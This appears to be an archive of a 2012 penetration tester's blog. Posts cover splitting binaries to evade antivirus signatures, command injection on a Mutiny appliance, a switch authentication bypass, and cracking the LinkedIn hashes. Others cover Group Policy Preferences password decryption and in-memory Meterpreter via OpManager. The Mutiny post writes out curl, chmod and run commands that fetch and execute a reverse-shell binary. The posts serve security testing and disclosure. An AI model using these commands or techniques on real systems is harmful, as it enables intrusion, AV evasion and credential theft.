Wednesday, December 12, 2012

As a penetration tester, one of the best methods of dealing with antivirus products is to avoid them all together. Most AV products work by analyzing binaries that have been written to the disk. If you don't write a PE (i.e. exe, dll, etc...) to the hard drive, you don't have to worry about the majority of AV products. This is typically accomplished by utilizing memory-resident tools such as Meterpreter executed with the Inject-Shellcode PowerShell script.

There could be situations when avoiding a specific AV product is impractical or unnecessary. If the product is strictly signature-based, there are many ways in which a binary can be modified to avoid the signature. There are plenty of tutorials which utilize "crypters" or "binders" to obfuscate a PE from AV, but there can sometimes be an easier way. Several years ago, the tool "DSplit" was released by class101 which was used to demonstrate how some AV signatures could be bypassed by finding and modifying one byte within the binary. Unfortunately, the original file (and source code?) is no longer available for download by the author. Since the method still works, we decided to create a similar PowerShell script with a few improvements:

Find-AVSignature Function

To demonstrate how to use the function, we will take the Netcat for Windows binary and avoid the signature in Symantec's AV. Obviously, an easier way to avoid AV is to modify the source code and recompile, but its a good example nonetheless. To utilize the function, copy and paste it into PowerShell. Next create a folder exemption within the AV product so that you can write it safely to the disk and create a custom scan folder in order to output the split binaries to (or allow the script to do it for you).

The next step is to run the function against the binary and output several binary files starting from the first byte (0) and ending with progressively larger file sizes. For this example, we are specifying the parameters for StartByte (0), EndByte (max) and Interval (10000). The verbose output illustrates how the file is being created when written to disk:

After the AV product has cleaned the output folder of every file that contains the signature, we are left with a binary containing the bytes from 0 to 10000. We can now assume that the signature exists somewhere between byte 10000 and 20000 since our interval was 10000 bytes and the first binary to be deleted was the one containing bytes up to 20000.

Now we can continue the process with a smaller interval (1000) and focus on the StartByte (10000) and EndByte (20000) that we discovered in the previous step:

Again, we let the AV product detect and delete the offending binaries and see what we are left with. The interval should progressively get smaller and in this case is down to 100:

The next interval is 10:

Finally, we can use a byte interval of 1 to see if the signature is flagging on a single byte in the binary:

It appears that we have found the offending byte by allowing Symantec to delete everything containing it.

The last byte that was deleted is what needs to be changed in order for the signature to not match. We can now use your favorite hex editor (or PowerShell) to modify the byte to something that won't disrupt the application. It is typical for AV vendors to flag on error messages, copyright notices or other strings which don't affect the executable if modified. Other times, you may need to reverse engineer the binary or use trial-and-error to find a character that will work.

The final step is to test the new binary to ensure that it doesn't flag AV and operates as intended. If it does flag, then it could be possible to repeat the entire process. Some signatures may flag on bytes that would cause the application to not function, in which case you would have to utilize a different method. However, in our example Netcat functions perfectly and doesn't flag AV:

Signature-based products will always struggle with this and similar problems and shouldn't be completely relied upon for security. It should be obvious that this entire process could be automated, but I leave that as an exercise to the reader. As always, utilize this information responsibly and ethically. If you have any questions please let me know. Find-AVSignature has been added to the PowerSploit project!

The first chapter dives right into the basics of scripting and the Python scripting language which is probably the slowest part of the entire book. I imagine that the majority of readers will be comfortable with skipping the whole first chapter - but don't. The magic of the book is in how TJ preps most of the scripts and functions with a story which adds context to the effort of writing the script. I don't think I have ever seen that before and it's awesome. It almost prevents you from treating the book as a "cookbook" and only looking for "recipes" that are relevant to you. Instead, you have a scenario where that method or function was important. The reader is never left wondering "who would ever use that?" I hope more authors follow the model created by this book.

I don't have any major complaints about the content of the book, but there should probably be more discussion about the short-comings of relying on external libraries. Modules and libraries make Python fast, flexible and powerful for most security professionals. However, penetration testers may find themselves on a remote box with Python already installed. In that common scenario, its important to be able to accomplish similar tasks without having to download any external code.

There are two things that I hope the author and publisher do to further improve the book (and any other future books). First, I would love to this book implement syntax highlighting. I know color print would be more expensive, so maybe release a special edition. I would gladly pay more money to see code in color! The second thing I am anxious for is the ebook release. It's a new book, so I am sure it won't be long - but color should be an easy edition to kindle edition and I will always have access to the book that way.

Overall, it's my favorite book of the year and I will certainly be referencing it in the future. It will be added to the recommended books page shortly and I really hope you pick up a copy and see how Python can make your life easier.

Wednesday, October 31, 2012

As with the last post, this post is further explanation of things that I briefly covered at BsidesLV earlier this year. The disclosure process is still ongoing and slow for some things, but the U.S. CERT has been extremely helpful. They definitely get better results than I did with any of the vendors and they recently disclosed CVE-2012-3001.

Mutiny Technologies network monitoring appliance is vulnerable to multiple command injection vulnerabilities once authenticated to the web application. The default username is 'admin' and the default password is 'mutiny'. Even if those were changed, there are simple ways to guess the password for the 'admin' account which I talked about in a previous post about command injection vulnerabilities. When connecting to the appliance over HTTP you are presented with something like:

The vendor has already added a nice message reminding people to upgrade and even referenced some "linux vulnerability issues" which would be an interesting way of describing command injection vulnerabilities in their web application.

In this example, we will log in with the admin account. Once logged in, we can navigate to the "admin" tab located on the top right.

Next we will go to the "Network Configuration" tab and focus on the "Subnet Mask" field.

To confirm that command injection is possible, lets test by pinging our own address.

Success! Lets take a look at how the post is formed when changes are made to the network configuration.

Although the Mutiny appliance ships with a disabled firewall and SSH enabled, lets assume that the attacker has discovered this vulnerability externally or is pivoting through another compromised host. Lets generate a Meterpreter reverse TCP binary, put it on our webserver and put up a listener.

Next, we will have to see what is available on the appliance to download our binary. Unfortunately, wget isn't installed or isn't in the path since all we can tell is that it isn't working. However, Curl is installed so we can download our binary, change the permissions and execute it from the web interface.

curl -o /tmp/update http://192.168.1.15/update

chmod +x /tmp/update

/tmp/update

Now our binary has executed and we have our shell. What context is the web application running as?

Root.

Please let me know if you have any questions, thanks for reading and sorry about the lack of PowerShell!

Wednesday, September 26, 2012

CVE-2012-2994 describes a vulnerability in the CoSoSys Endpoint Protector 4 appliance that I mentioned in my BsidesLV talk. The bottom-line is that once the appliance is activated, a script is ran that sets several passwords using a variation of the serial number. The account "epproot" is a root-equivalent account and can be used to SSH into the appliance. The password is not provided from the company so if you would like to control the appliance, use the following PowerShell script:

Get-EPPPassword Function

The vulnerability lies in the fact that there are an extremely limited number of possible password combinations (91) which can be easily brute-forced. To generate the complete list of possible passwords with PowerShell:

The output should look like the following screenshot, but can be downloaded here:

Wednesday, August 15, 2012

A few months ago, I published Get-HttpStatus - a PowerShell function that aides in generic directory and file fuzzing. In order to get it added to PowerSploit, Matt suggested several improvements and eventually made a few of his own. The function supports SSL and includes several dictionaries derived from other projects such as Nikto, Yokoso and SharepointURLbrute. Without dictionaries, the function is pretty useless so a big thanks goes out to the developers of each of those tools and the hard work that went into creating the file and directory dictionaries.

Lets take a look at one specific use-case for Get-HttpStatus - scanning a SharePoint installation. We can start by opening PowerShell and copying and pasting the function into the shell.

Next we provide the function a target website and the path to the dictionary file.

In this example, there is an interesting directory and file that is accessible without credentials. Lets check it out:

It appears that we may have the ability to increase permissions by adding users to different groups on the server. That is definitely a security finding that could aid in a penetration test. As with other scripts and functions that are added to the PowerSploit project, the maintained version is available on the github site.

Get-HttpStatus Function

Please check out the other dictionaries and let me know if you see any other use cases for this script. Thanks for checking this out and if you haven't bought your DerbyCon tickets yet, you should do so! If you are interested in PowerShell and security, Carlos Perez is teaching one of the first courses on the topic: "Introduction to PowerShell for Security Professionals" at this year's DerbyCon so sign up for it. I can't wait!

Tuesday, July 31, 2012

I had a great time at Las Vegas security week this year and had the honor of presenting at Black Hat USA and BsidesLV. I appreciate everyone's support and feedback. I have never presented before and it was both exciting and humbling to talk to the attendees of both talks.

I plan on posting all presentation slides here, but you can find additional information related to the "Passing the Hash" talk at this blog.

Skip took the time to add audio to the demos from the talk. In case you missed the talk, view the slides and the demos should give you a good idea of the main points.

Saturday, June 23, 2012

A few months ago, I set out to replace an old Cisco switch with a managed gigabit switch. I settled on a 24-port LG-Nortel managed switch because it supported port mirroring, VLANs and costs under $200. Before I introduced the switch to my lab network, I decided to practice what I preach and vet the device.

The first step was to read the manual and find out how the manufacturer recommends to configure the switch and more importantly secure it. The manual is available here, but I will be referencing relevant sections with screenshots. According to the documentation, the only way to manage the switch is through the web interface:

It is extremely disconcerting that an enterprise networking appliance would allow management over an unencrypted port, but for it to be the only way to remotely manage the switch is shocking. Also, we will definitely want to change the default password, but for now lets focus on that note. That statement leads me to believe that the authentication and session management is fixed (probably by IP address) which could be a vulnerability. If proxies are used or admins share IPs or workstations with normal users, this condition could possibly be exploitable. Sometimes an attacker can find a way in just by reading the manual.

Another interesting thing that I noticed in the manual was a reference to SNMP which was not listed as a feature of the switch in any other documentation:

The next step was to scan the switch to see if there were any other listening ports besides TCP 80. There appeared to be no surprises except for the aforementioned SNMP on UDP 161 was not listening.

Since security was apparently not a part of the development life-cycle, I kept digging. The next step was to ensure that the switches firmware was updated. I verified that it was and downloaded the latest version for analysis. I whipped up a PowerShell function for extracting strings from binary files, (it pales in comparison to the Sysinternals Strings utility) and extracted all lines containing "htm":

After a bit of cleaning up, we now have a solid list of directories and files that we can check for without authenticating. I have used this simple process successfully many times and it will yield better results than a web scanner with a generic dictionary would.

Next, we need a way to check to see which are valid files and paths. Get-HttpStatus is a PowerShell function to do just that:

Get-HttpStatus Function

Armed with our dictionary and Get-HttpStatus, lets see what status codes are returned from the switch without authenticating to it:

We have lots of results, so the authentication mechanism used by the switch is obviously broken. The following URLs disclose nearly the entire configuration of the switch and are classified as information disclosure:

Information Disclosure URLs

From an attacker's perspective, there are several more interesting URLs that are accessible without authentication:

Potentially Exploitable URLs

The first in the list seemed really promising:

Unfortunately, the switch returns an error when you hit the apply button. Lets look at another of the files and see if there is an easier way to compromise the switch without authenticating.

http://192.168.2.10/system/cfgload.htm

This page contains an area for uploading and downloading the switch configuration. Downloading the current configuration could be very handy and in this case its aided by the fact that the single admin password is stored in a plain-text string:

Now we can change the password with a hex editor and upload the altered configuration without ever authenticating!

The attacker could then log into the switch with the password that they placed in the config file.

So how do we secure this obviously vulnerable switch or is it hopeless? We can start by ignoring the manual:

Since you have to leave one port as a member of VLAN 1, designate one as the "admin" port and put every other port in a different VLAN. Use the "admin" port to configure the switch (VLANs, port mirroring for your IDS, etc...) and then remove the cable or plug it into a completely out-of-band admin network. You won't be able to remotely manage the switch, but hopefully neither will anyone else. It is possible to secure vulnerable systems if you know what the vulnerabilities are and mitigate risk effectively.

I also verified that the switch maps an IP address to an authenticated session for exactly 5 minutes. Even if you log out, the switch will allow anyone using the previously authenticated IP to connect as the administrative user for the remainder of the 5 minutes. The results above were discovered using an IP that had not been used to log in to the switch.

These vulnerabilities (lame as they are) were disclosed through the US-CERT (since LG gave me the run-around for several weeks and Nortel didn't respond either) and were assigned CVE-2012-1838. The advisory was released early because LG has decided that they are no longer supporting this or similar models of switches.

Monday, June 11, 2012

In the last week, there have been several major compromises resulting in the leak of password hashes to the internet. Some of the major sites that were hit are Linkedin, Eharmony and Last.fm. Although there are many others that have cracked more than I have or will, armed with an older video card and an extra laptop I was able to crack around 3 million of the exposed SHA1 hashes utilizing Hashcat, John and dictionaries that I have collected over the years. The professionals at KoreLogic tweeted this within a day of the hashes being released:

So far 3,427,202 passwords have cracked from LinkedIn List Almost 50%Its been about 24 hours - The longest? a 29 letter sentence from Bible
— KoreLogic(@CrackMeIfYouCan) June 6, 2012

If you would like to safely check to see if your password was included in the Linkedin compromise, you can download the file "combo_not.txt". I believe it is probably still being hosted in a few places but you'll probably have to do a bit of searching to find it.

I threw together a PowerShell function for others to check to see if their passwords were included. It is horribly slow and could definitely be improved, but I don't think it will be useful for long. I really don't like the idea of utilizing any online look-up services (despite the obvious speed benefit from storing the data in a true database) because of the obvious social-engineering implications.

Get-LNPasswordMatch
A special version of Hashcat was released to handle the zeroed hashes which paired with a large dictionary is very effective:

The Hashcat syntax can be tricky, but there is a lot of great documentation out there.

Next, I reran the same dictionary with a mangle rule in John which got quite a few of the longer passwords due to the 15 character limitation imposed by CudaHashcat. There are lots of usage guides and cheat-sheets out there for John.

The final result was over 3 million hashes cracked in less than 24 hours. KoreLogic has been able to crack 4.92 million in just a few days so it seems that very few of the original passwords are safe:

Over 4.92 million cracked on Linked in. Im somewhat impressed by some of them. 14 digit number passwords are rare in USA.
— KoreLogic(@CrackMeIfYouCan) June 11, 2012

I recommend using the publicity around these major breaches to remind your managers, users, friends and family about passwords. The following is what I try to stress, but there are certainly lots of other great ideas on how to improve password security:

1. Never reuse passwords between web sites or systems.
2. Change your passwords as often as its reasonable.
3. Choose longer passwords such as (complex) passphrases to increase the difficulty of cracking.
4. Have a plan to quickly and securely change your passwords if they become compromised.
5. Consider a common password manager for web sites.

Finally, since there aren't public details as to how Linkedin was compromised, its safe to assume that they are still compromised or could be again. Take that into consideration when you are planning on how to change your passwords. Even if Linkedin takes steps to properly salt the hashes, its not unreasonable to think that they could be quickly cracked again.

***Update 16 June 2012***
Changed the name of the function to be inline with the PowerShell way. Changed the way to the password is read in to be more secure as requested by the first comment below.

Thursday, May 24, 2012

Last week, I read a great post entitled "Exploiting Windows 2008 Group Policy Preferences" that I wish I saw sooner. The article included a nice Python script to accomplish the task of decrypting passwords that were set using the GPP feature in Windows 2008 domains. However, it looked like something that would be handy to have in a PowerShell script. Before I continue, I would like to point out the updated disclaimer, it certainly applies to this post.

You should read the original article, but the quick summary is that its possible for any authenticated user (this includes machine accounts) on the domain to decrypt passwords that are enforced with Windows 2008 Group Policy Preferences. From my experience, this practice is common for larger domains which need to set different local administrator ("500" account) passwords for different OUs.

Python is an excellent scripting language, but PowerShell has two notable advantages in this specific use-case. First, PowerShell does not require any additional libraries since it has access to the entire .NET framework. Second, PowerShell is installed by default on all modern Windows systems to include Windows Server 2008 so it can be used right from the machine you are on.

The following Get-GPPPassword PowerShell script can be used by penetration testers to elevate to local administrator privileges (on your way to Domain Admin) by downloading the "groups.xml" file from the domain controller and passing it to the script. The files are typically found in:

To run the function, just copy and paste the text into powershell and type 'Get-GPPPassword'. This will in effect bypass the ExecutionPolicy.

Writing this script ended up not being as easy as I originally thought mostly due to never dealing with .NET and crypto before. I would like to thank Matt Graeber for solving the null IV issue, Mike Santiago for general code improvements and of course Emilien Giraul (and the Sogeti ESEC Pentest team for their detailed writeup).

Try it out and let me know what you think.

***Update 26 May 2012***
You can also download the maintained version of the script from the PowerSploit repository on GitHub. It already has some great scripts for Windows post-exploitation on it!

***Update 16 June 2012***
Updated the script block with the improvements from Matt Graeber. Matt wrapped it into a function and apparently saved a puppy by creating a new object (avoiding the use of write-host).

***Update 3 July 2013***
I have reorganized and rewritten the script. You can find the updated version and read about it here.
-Chris

Wednesday, May 9, 2012

Yesterday, there was a bit of hype about five pastebin posts that appeared to be 55K twitter usernames and passwords. The passwords turned out to be old, repetitive and mostly available in other dumps. However, as explained in a previous post, all passwords are important.

In order to analyze these passwords, I downloaded the five lists into a single file named twitter_passwords.txt. Next, I used the following PowerShell one-liner to output the more complex passwords in the list:

First, we use the get-content cmdlet (gc is an alias) to pipe the contents of twitter_passwords.txt to foreach ("%" is an alias) which is splitting based on ":". The results are then sorted with only unique strings (this should be moved to the end for larger lists to avoid the issues described here). The next bit uses regular expressions to trim the list to those strings that are at least 10 characters (less than 50) with at least one upper, one lower, one number and a special character. Thanks Matt for suggesting the use of hex to save a lot of time and headache.

The disappointing output:

88455036.Ass

Bolinha@2008

Bruno&58236280

Cristal!89

F@tern2010

FLLAvyio@123

Frida2009$

Luis_carlos9

Mayr@2829

UNC**lab2007

Looking at these passwords, the only useable pattern that jumps out is the use of years. I added them to my dictionary, but hopefully the one-liner is useful in the future. Of note, some applications like OpManager don't allow special characters in passwords so this list might be useful.

Friday, April 27, 2012

A common scenario that testers face involves leveraging command injection vulnerabilities into a full-blown shell. A lot of people view command injection as an old technique, but it is very relevant today. There are many different types of attacks that end in command injection (e.g. SQL injection), so testers need a way to turn Windows commands into shell access. There are many documented ways of doing this including FTP, TFTP and downloading through a browser. These methods work in a lot of cases, but I have seen a rise in organizations that have taken steps to prevent those methods and all of them involve writing a binary to disk.

Some command injection "vulnerabilities" are actually intentional features included by vendors. The one that I will be using as an example falls into that category and is a part of ManageEngine's OpManger. OpManager is used by network and system administrators to centrally manage servers and network devices. As such, it comes with cool features like a "Run System Command" alert profile. Any command can be run, but we won't receive the results back (blind command injection?). We could pipe the results to a text file in a directory that we can access through the browser (e.g. /help/user_guide/) , but that would leave evidence that could potentially be discovered. Thanks to the research of several people, we can easily turn command injection into a full meterpreter shell with PowerShell and not worry about antivirus because we will never write to disk.

You might be wondering how we got here, which is a fair question. A web server housing such important data would never be accessible externally (google dork: intitle: ManageEngine OpManager inurl:loginpage.do), but maybe we are pivoting from another compromised box. Since we want to see the page with a browser, we will actually need to port forward to the remote host.

The next stumbling block is the pesky login page. Logs on appliances are seldom monitored as closely as other servers, so there is a chance that we can "guess" the password with a small dictionary. OpManager doesn't allow several characters in passwords, so there is a higher chance that a simple dictionary will work. Maintaining a good dictionary and the ability to generate custom dictionaries are critical tasks for successful testers. We can use the Firefox add-on Fireforce to utilize our dictionary and hopefully get the admin password.

Fireforce needs a string to detect a failed login attempt, so we can try to login with our first password guess. Now we can configure Fireforce with the string "Invalid username and/or password." and load our custom dictionary.

Now that we are all caught up on the backstory, let's use PowerShell to get a meterpreter shell. This process involves a few steps:

Now we can drop that directly into Matt Graeber's shellcode injection script. Next, start our handler and test the script. I have seen times where one payload will consistently crash PowerShell and a slightly different one will work flawlessly. Your mileage will vary, but the important thing to remember is to always test your payloads before deploying them.

The next step is to bypass PowerShell's ExecutionPolicy since we don't know which policy type is being enforced. We can use Dave Kennedy, Josh Kelley and Kathy Peter's CreateCMD script to encode the entire script into a single command that can be executed through the command injection vulnerability.

Run the script and copy the output.

Now we have a memory resident shell by executing one command without having to worry about antivirus or host-based security products. Hopefully you can see how easy PowerShell makes this process. Also, if you run into this scenario with OpManager in a real test, you are more than likely one token impersonation away from domain administrator privileges.

Thursday, March 8, 2012

Remotely connecting to a compromised machine is almost always a bad idea because of the tremendous amount of risk involved. It has been my experience that incident responders either underestimate or downplay that risk when writing procedures or handling incidents. I don't know whether its arrogance or ignorance, but either way the team I am on has frequently exploited it. Often times, escalating privileges in a domain is just a matter of waiting for an administrator (or incident responder) to connect to a machine that you've compromised and then impersonating those credentials to dump the hashes of the entire domain (including the responder's account).

Recently, a detailed article written by Mike Pilkington titled "Protecting Privileged Domain Accounts: Safeguarding Password Hashes" was published on the SANS Forensics Blog (I recommend that you read it before continuing). The article focuses on ways of protecting domain (NT or LM) password hashes (in memory) and briefly mentions other topics that will be discussed in future articles including Access Tokens and Network Authentication. The methodology used in the article is pretty solid and it was detailed enough for me to setup a similar lab network and recreate the work. However, I feel that the focus on hashes leads the reader to several false conclusions the most notable being that "Network Logins" are safe.

Here are 3 quotes that I feel lead the reader toward an inaccurate conclusion:

"...in all situations I can think of, the safest bet is to utilize a local administrative account if you already know the password."

"Network logons created by tools such as NET USE, WMIC, and PsExec (without "-u" alternate credentials) are safe to use with regard to protecting password hashes. (emphasis is mine) More to the point, any tool that uses only a network logon will prevent your password hashes from being available on the remote machine. To check other tools on your own, simply run the tool of interest against a remote test machine and verify in the remote Windows Event Logs that the tool only results in a Type 3 network logon."

"Also keep in mind, whether the compromised host is down the hall or on the other side of the world, using remote network logon connections is the only way to safely access the host with domain credentials."

This post is going to focus on the first misconception that local accounts are safer to use. For brevity’s sake, I will discuss what I feel are other misconceptions in the next post (UPDATE: Mike touches on a those issues in his latest post Safeguarding Access Tokens so I won't belabor the point.)

The first quote is mostly accurate if we are appropriately using the "worst-case" scenario. In the example used in the article, the attacker has most likely gained "NT AUTHORITY/SYSTEM"-level privileges on the box. That means the attacker has already gained access to the NT (or LM) hashes of all local accounts by any of the methods discussed in the article. Essentially, we are using an account that the attacker likely already owns.

What if we have detected the attack early and the attacker only has user-level credentials as a result of a client-side attack? What if the attacker hasn't had the opportunity to try these methods of gaining more privilege? Let's see what could happen if we use the local administrator account to investigate.

Soon after compromising the box with a meterpreter session, the attacker loads the sniffer extension and sniffs the network. The incident responder uses the local administrator account and "net use" to mount a share to the compromised box and investigates with PsExec.

Next, the attacker analyzes the PCAP for credentials. An easy way to pull credentials from a PCAP is to use Cain. Cain displays the NTLM Session Security Hashes which would need to be cracked in order to be useful to the attacker.

As pointed out in the referenced blog post, PsExec passes the username and password in cleartext so that will always be a bad idea. Instead, PowerShell or WMIC should be used to prevent the credentials from being snagged off the wire in cleartext.

So now the attacker has access to the local "500 account" NTLM session security hash. This hash can't be passed (it is not the NT hash), but it can be cracked. If it is cracked, the password is more than likely shared by the administrator account on many other workstations. Now the scenario appears to have changed to a race condition. Can the attacker crack the password before you can remove his or her access? Unfortunately, that argument is also shortsighted. The attacker can voluntarily disconnect and can take as long as it takes for you to change every workstation's administrator password.

The odds are in the attackers favor if the password is stored in LM or the attacker has discovered a pattern similar to the one used to set the password. Then, the only thing stopping the attacker is getting back in through a similar client-side attack no matter what you do with the compromised host. Then the attacker can use WMIC to "administer" any machine that is using the password which is a situation far worse than a single compromised host.

Also, it is generally easier to track the use of domain account versus a local account. Very few organizations have the ability to quickly (without connecting to each host) correlate local account usage through the event log.

In this case, the attacker was able to crack the password with his dictionary and Cain. In my experience, it's just over half the time that we are able to crack the password. The odds are in the attackers favor whether the account is local or domain.

My argument is that a tailored-access domain account is more appropriate. I recommend that the account used for risky activity should be low-privileged and heavily-monitored. The account can be disabled and a member of no groups until needed. When needed, the account can be enabled and added to the lowest-privileged group that can still administer the potentially-compromised box. Although there is still a tremendous amount of risk, it can be slightly mitigated by immediately changing the password of the account (rendering access tokens unusable) and disabling it after initial analysis is done.

This concept can be applied to most administrative and security tasks in order to prevent an excess of elevated account "access tokens" which I may still talk about in my next post. We'll see.